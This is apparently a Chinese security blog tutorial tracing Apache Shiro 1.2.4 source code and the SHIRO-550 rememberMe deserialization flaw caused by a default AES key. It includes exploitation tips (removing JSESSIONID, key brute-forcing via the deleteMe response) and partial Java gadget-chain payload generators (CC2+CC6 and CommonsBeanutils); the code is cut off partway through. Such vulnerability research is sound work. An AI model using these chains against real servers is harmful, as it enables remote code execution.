Shiro是一個功能強大且易于使用的Java安全框架，提供全面的身份驗證、授權、密碼管理和會話管理功能。它支持多種認證方式，如基于表單、HTTP基本身份驗證和RememberMe。授權模型靈活，可細粒度限制訪問控制，保護敏感數(shù)據(jù)和功能。安全會話管理功能確保會話安全，包括記住我功能和會話超時設置。無論是Web應用還是其他Java應用，Shiro都是可靠的選擇，增加應用程序的安全性。
【資料圖】
在shiro-core庫中實現(xiàn)了對認證授權等的抽象，以提供對不同環(huán)境的認證和授權。如shiro-web依賴就是對在shiro-core庫的技術上進行擴展實現(xiàn)web應用的認證和授權等。在shiro-core庫中包括SecurityManager，Authenticator，Authoriser，realm，sessionManager等核心組件，具體關系如下圖所示。
image
從整體看是由SecurityManager管理的，然后認證和授權依賴于底層的realm從不同的途徑獲取對應數(shù)據(jù)。整個過程過程中的加密算法是由Cryptography完成的，在shiro中默認支持的加密算法有MD5/Hash/AES/RSA等。最后由sessionManager進行會話管理，同時還有session緩存等機制支持。
環(huán)境搭建這里可以直接直接把官網(wǎng)的項目拉下來使用。
git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4 //切換到1.2.4版本
打開后需要修改shiro/samples/web/pom.xml路徑下jstl的依賴版本，否則會出現(xiàn)jsp解析報錯。
image
最后配置好tomcat，然后選擇對應項目就可以跑起來了。
image
image
源碼分析入口點shiro與web應用是通過一個過濾器綁定的，在web.xml中就可以看到。
image
所有的請求都將被ShiroFilter攔截，同時在過濾器之前還有一個listener，它在filter之前被初始化，它的作用就是為ShiroFilter初始化提供web環(huán)境的依賴對象。
ShiroFilter初始化ShiroFilter是Filter的子類，由于它的匹配規(guī)則是/*，所以所有的請求都會被他處理。先來看一下它的繼承關系。
image
首先找到對應的初始化方法org.apache.shiro.web.servlet.AbstractFilter#init。
public final void init(FilterConfig filterConfig) throws ServletException { setFilterConfig(filterConfig); try { onFilterConfigSet(); } catch (Exception e) {......}public void setFilterConfig(FilterConfig filterConfig) { this.filterConfig = filterConfig; setServletContext(filterConfig.getServletContext());//設置servletContext}
其中的參數(shù)FilterConfig是由調(diào)用者ApplicationFilterConfig初始化時傳遞的自身，每一個filter都由ApplicationFilterConfig來管理最后存放在StandardContext#filterConfigs中。具體filter初始化的代碼就不再深入了，有興趣的同學可以再去結(jié)合tomcat的源碼看看，有助于后面學習通過shiro注入filter內(nèi)存碼。
protected final void onFilterConfigSet() throws Exception { //added in 1.2 for SHIRO-287: applyStaticSecurityManagerEnabledConfig();//安全配置檢查是否使用靜態(tài)安全管理器 init(); ensureSecurityManager();//檢查securitymanager，否則初始化DefaultWebSecurityManager //added in 1.2 for SHIRO-287: if (isStaticSecurityManagerEnabled()) { SecurityUtils.setSecurityManager(getSecurityManager()); }}public void init() throws Exception { WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext()); setSecurityManager(env.getWebSecurityManager()); FilterChainResolver resolver = env.getFilterChainResolver(); if (resolver != null) { setFilterChainResolver(resolver); }}
這里才調(diào)用了ShiroFilter#init方法，首先從servletContext中獲取WebEnvironment對象，這個對象是在前面配置的listener初始化時創(chuàng)建的。同時初始化了securityManager對象，最后從WebEnvironment中獲取SecurityManager以及FilterChainResolver(內(nèi)置過濾器)。
WebEnvironment創(chuàng)建在前面的web.xml配置文件中可以看到除了filter之外還配置了一個EnvironmentLoaderListener，在初始化時就會調(diào)用其父類的EnvironmentLoader#initEnvironment方法。
image
前面看到在EnvironmentLoaderListener初始化中創(chuàng)建了WebEnvironment對象，調(diào)用了createEnvironment方法。
protected WebEnvironment createEnvironment(ServletContext sc) { Class clazz = determineWebEnvironmentClass(sc);.... MutableWebEnvironment environment = (MutableWebEnvironment) ClassUtils.newInstance(clazz); environment.setServletContext(sc);... customizeEnvironment(environment); LifecycleUtils.init(environment); return environment;}protected Class determineWebEnvironmentClass(ServletContext servletContext) { String className = servletContext.getInitParameter(ENVIRONMENT_CLASS_PARAM); if (className != null) { try { return ClassUtils.forName(className); } catch (UnknownClassException ex) { throw new ConfigurationException( "Failed to load custom WebEnvironment class [" + className + "]", ex); } } else { return IniWebEnvironment.class; }}
在創(chuàng)建WebEnvironment是也會首先查找servletcontext中是否自定義配置，默認使用IniWebEnvironment，及使用ini配置文件初始化securitymanager。然后初始化默認的內(nèi)置過濾器。
public void init() { Ini ini = getIni();...... setIni(ini); configure();}protected void configure() { this.objects.clear(); WebSecurityManager securityManager = createWebSecurityManager();//創(chuàng)建默認wsm setWebSecurityManager(securityManager); FilterChainResolver resolver = createFilterChainResolver();//初始化默認過濾器 if (resolver != null) { setFilterChainResolver(resolver); }}
最后WebEnvironment的初始化結(jié)束調(diào)用servletContext.setAttribute(ENVIRONMENT_ATTRIBUTE_KEY, environment)設置到ApplicationContext的attributes屬性中，最后在ShiroFilter初始化時就會獲取該對象中的WebEnvironment和FilterChainResolver。
ShiroFilter過濾器上面分析了ShiroFilter的初始化的過程，下面就來看看在我們shiro框架下的web應用是怎么實現(xiàn)安全訪問控制的。
首先從OncePerRequestFilter#doFilter方法入手，他是Filter接口中定義的方法。在tomcat處理完請求的封裝時在就會依次調(diào)用所有注冊的filter的doFilter方法。
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { filterChain.doFilter(request, response);//防止同一個過濾器調(diào)用兩次 } else //noinspection deprecation if ( !isEnabled(request, response) || shouldNotFilter(request) ) { filterChain.doFilter(request, response); } else { request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { request.removeAttribute(alreadyFilteredAttributeName); } }}
然后，回調(diào)用父類的AbstractShiroFilter#doFilterInternal方法。
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; }...}
在這個方法里面首先對tomcat中的request和response對象重寫進行了封裝，然后主要代碼如下：
final Subject subject = createSubject(request, response);//由securitymanager創(chuàng)建subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain);//匹配請求URL執(zhí)行內(nèi)置過濾器 return null; }});
首先來看創(chuàng)建subject的過程。
由于這是web環(huán)境，所有在shiro-web里面重寫了WebSubject繼承subject，以及其內(nèi)部的builder靜態(tài)內(nèi)部類。
image
在創(chuàng)建過程中先初始化了WebSubject.Builder類，然后調(diào)用Builder.buildSubject，最后調(diào)用了SecurityManager#createSubject，其中 的subjectContext是在Builder初始化時創(chuàng)建的DefaultSubjectContext類，這個類負責處理本次會話的上下文對象，它的本質(zhì)是一個Hashmap。
image
在初始化結(jié)束時默認存在如下對象：
image
在DefaultSecurityManager#createSubject(SubjectContext)中首先克隆了一個context對象，然后依次檢查其中的securitymanger，session，PrincipalCollection對象，如果不存在則創(chuàng)建并添加，最后再以這個context創(chuàng)建subject對象。
public Subject createSubject(SubjectContext subjectContext) { SubjectContext context = copy(subjectContext); context = ensureSecurityManager(context); context = resolveSession(context); context = resolvePrincipals(context); Subject subject = doCreateSubject(context); save(subject); return subject;}
其中shiro550漏洞就是在resolvePrincipals時觸發(fā)的。我們可以簡單跟進看一下。
protected SubjectContext resolvePrincipals(SubjectContext context) { PrincipalCollection principals = context.resolvePrincipals(); if (CollectionUtils.isEmpty(principals)) { principals = getRememberedIdentity(context); if (!CollectionUtils.isEmpty(principals)) { context.setPrincipals(principals); } else { } } return context; }
前面代碼邏輯還是差不多的，先從context中獲取principal對象，然后檢查是是否為空，如果為空則調(diào)用getRememberedIdentity創(chuàng)建然后設置到context中，否則直接返回，所以如果要觸發(fā)反序列化這里必須要為空。我們跟進resolvePrincipals方法中看一下。
public PrincipalCollection resolvePrincipals() { PrincipalCollection principals = getPrincipals(); if (CollectionUtils.isEmpty(principals)) { AuthenticationInfo info = getAuthenticationInfo(); if (info != null) { principals = info.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Subject subject = getSubject(); if (subject != null) { principals = subject.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Session session = resolveSession(); if (session != null) { principals = (PrincipalCollection) session.getAttribute(PRINCIPALS_SESSION_KEY); } } return principals;}
這個方法就和前面的resolveSession有點不太一樣了，他第一次調(diào)用了getPrincipals如果為空還從其地方也獲取了相關對象來構建principals，可以看到最后也獲取了session對象。如果前面已經(jīng)設置了session對象，那么這里返回的就一定不會是null，最后就不會調(diào)用rememberMe導致反序列化。所以我們在利用shiro反序列化時一定要刪除cookie中的JSESSIONID字段。
最后使用context創(chuàng)建對應環(huán)境的subject對象，這個對象是shiro框架對開發(fā)者使用的一個接口對象，在登錄及認證授權時都是調(diào)用的該對象，由他內(nèi)部再去調(diào)用securitymanager對象的操作。
最后回到AbstractShiroFilter#doFilterInternal中，調(diào)用了Subject#execute(java.util.concurrent.Callable)方法，傳入了updateSessionLastAccessTime和executeChain方法。這里如果直接跟進這兩個方法回錯過一個細節(jié)，就是將subject對象設置打ThreadLocal中，但由于這個和shiro中的漏洞關系不大就不再跟進分析了。
updateSessionLastAccessTime方法沒什么用就不說了，下面跟進executeChain說一下shiro中的路徑匹配。
image
在這個方法里面就分兩步，第一步根據(jù)request獲取對應的過濾器，然后第二部執(zhí)行過濾方法。
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) { FilterChain chain = origChain; FilterChainResolver resolver = getFilterChainResolver(); if (resolver == null) {... return origChain; } FilterChain resolved = resolver.getChain(request, response, origChain);... return chain;}public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null; } String requestURI = getPathWithinApplication(request); for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { return filterChainManager.proxy(originalChain, pathPattern); } } return null;}
首先獲取FilterChainResolver對象，這個對象就是在WebEnvironment創(chuàng)建時初始化的，然后在ShiroFilter初始化時設置到該類的屬性中。然后根據(jù)請求URL匹配對應的過濾器，最后創(chuàng)建一個filterChain的靜態(tài)代理類。其中shiro權限繞過的原因主要就是由于路徑匹配時匹配到了錯誤的過濾器或未匹配到shiro內(nèi)置的過濾器，導致繞過shiro的過濾器檢查，但其請求URL被tomcat過濾器處理后仍然能獲取對應的資源。
SHIRO-550源碼分析上面分析了shiro框架的大概流程，在介紹DefaultSecurityManager#createSubject(SubjectContext)中創(chuàng)建Principal時就會對cookie中的rememberMe解析并反序列化。下面就從這開始進行深入分析。
首先進入org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法。
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) {...... } } return null;}public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals;}
其中getRememberedSerializedIdentity方法主要是獲取rememberMe的值并進行base64解密，然后convertBytesToPrincipals對base64解密后的值進行AES解密并反序列化。注意這里的異常捕獲，先提一下后面再回來分析。我們繼續(xù)跟進convertBytesToPrincipals方法。
image
這個方法里面也分兩步，第一步對字節(jié)數(shù)組進行AES解密，第二步進行反序列化。
image
在解密時就會獲取AES密鑰，由于這個密鑰在對象構造函數(shù)中初始化為了默認密鑰，導致攻擊者可以根據(jù)密鑰進行偽造惡意的反序列化數(shù)據(jù)進行代碼執(zhí)行。
我們再來看反序列化的方法。
image
這里調(diào)用了readObject方法導致反序列化，注意這里的調(diào)用類并不直接是ObjectInputStream對象，而是自定義的一個繼承ObjectInputStream的類，并重寫了resolveClass方法。
image
在原生java反序列化底層代碼中該方法的作用是根據(jù)其讀取到完全限定名調(diào)用Class.forName()進行類加載獲取對應的Class對象。這里重寫該方法主要是為了使用指定的類加載器來進行類加載，因為在tomcat中打破了雙親委派的機制都是使用的自定義類加載進行類加載，我們跟進該方法也可以看到它首先就從進程中獲取了不同的類加載器進行類加載。
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } return clazz;}
正是由于這里自定義了類加載器，主要都是通過類名然后去找對應的class文件，然后通過defineclass進行類加載。但是由于java中數(shù)組的類對象是由jvm創(chuàng)建的，沒有對應的class文件，導致在利用時反序列化數(shù)組對象時回拋出如下異常。這也是在shiro中利用cc鏈的一大限制，但并不是主要原因，其他原因在后面分析利用鏈時再說。
image
剛剛為了使整個分析流程更加順暢，所以沒有提DefaultSecurityManager#getRememberedIdentity方法中拋出的異常。
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { forgetIdentity(context); throw e;}public void forgetIdentity(SubjectContext subjectContext) { if (WebUtils.isHttp(subjectContext)) { HttpServletRequest request = WebUtils.getHttpRequest(subjectContext); HttpServletResponse response = WebUtils.getHttpResponse(subjectContext); forgetIdentity(request, response); }}private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response);}
從上面的調(diào)用鏈跟蹤最后來到SimpleCookie#removeFrom，在這添加了一個cookie為rememberMe=deleteMe，這也是識別shiro框架的特征。同時看整個異常的位置是在base64解密之前，就是從base64解密開始后面的AES解密以及反序列化過程只要拋出了沒有被處理的異常最后都會被捕獲，設置rememberMe=deleteMe。
image
上面是rememberMe的解密過程，下面簡單說一下它在登錄認證過程中是如何產(chǎn)生的。
在后端對登錄請求的處理一般都會先調(diào)用SecurityUtils#getSubject獲取對應的subject，然后調(diào)用login方法，傳入由username和password初始化的AuthenticationToken對象。
image
在認證成功后就會創(chuàng)建一個principals然后加密返回給客戶端。
上面對整個流程進行了粗略的分析，可以了解到在正常流程中rememberMe的值就是PrincipalCollection對象序列化數(shù)據(jù)的加密后的值。所以我們在爆破key的時候就可以利用整個對象，但由于它是一個接口，所以我們一般都會利用他的子類SimplePrincipalCollection進行爆破，然后根據(jù)返回結(jié)果中是否含有deleteMe判斷密鑰是否正確。
image
利用鏈在前面分析中找到了ObjectInputStream#readObject的調(diào)用點，我們利用還需要找到能利用的反序列化鏈，我們前面了解了CC鏈，以及URLDNS等。如果直接嘗試CC鏈可能會出現(xiàn)如下報錯：
image
因為在shiro默認的依賴中不好看CC依賴，導致無法反序列化，然后我們補上CC依賴后再打可能又會遇到下面的報錯，Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;]，這就是由于無法創(chuàng)建Transformer數(shù)組導致的。所以在打CC依賴的時候必須要找一條不包含數(shù)組的鏈，這個的原因在上面也說了。
image
最后在原來的CC鏈的基礎少結(jié)合CC2+CC6得出下面這條鏈。
public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templatesImpl, new TransformerFactoryImpl()); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); Map
或者直接用依賴commons-collections4的CC2也可以。
上面這種方式是需要我們補依賴環(huán)境的，在實戰(zhàn)中這種方式就會有一定的限制，所以我們在shiro中更多的是使用的它自帶的CB鏈去利用。在前面學習CC鏈的時候了解到TemplatesImpl這個類，在這個類里面自定義了類加載器，只要調(diào)用TemplatesImpl#newTransformer就可以觸發(fā)類加載。我們繼續(xù)回溯找到了TrAXFilter的構造函數(shù)中調(diào)用了該方法，另外還有TemplatesImpl#getOutputProperties中也調(diào)用了newTransformer，其中CB鏈就是用的后面這個點。
可以看到getOutputProperties是一個getter方法，在commons-beanutils中有一個調(diào)用任意對象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被調(diào)用，且參數(shù)可控，所以再結(jié)合前面CC鏈的部分最后得出下面的CB鏈。
public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); BeanComparator beanComparator = new BeanComparator(); beanComparator.setProperty("outputProperties"); PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(1); priorityQueue.add(1); Class
最后也同樣實現(xiàn)了命令執(zhí)行。
image
總結(jié)以上就是關于shiro反序列化的所有分析了，雖然在1.2.4之后shiro就采用了自定義密鑰或者隨機生成密鑰，但真正反序列點還是沒有改變，如果存在密鑰泄露依然可以導致反序列化。
參考資料Shiro反序列化漏洞(一)-shiro550流程分析-白日夢組長
Tomcat源碼初識一 Tomcat整理流程圖
標簽：
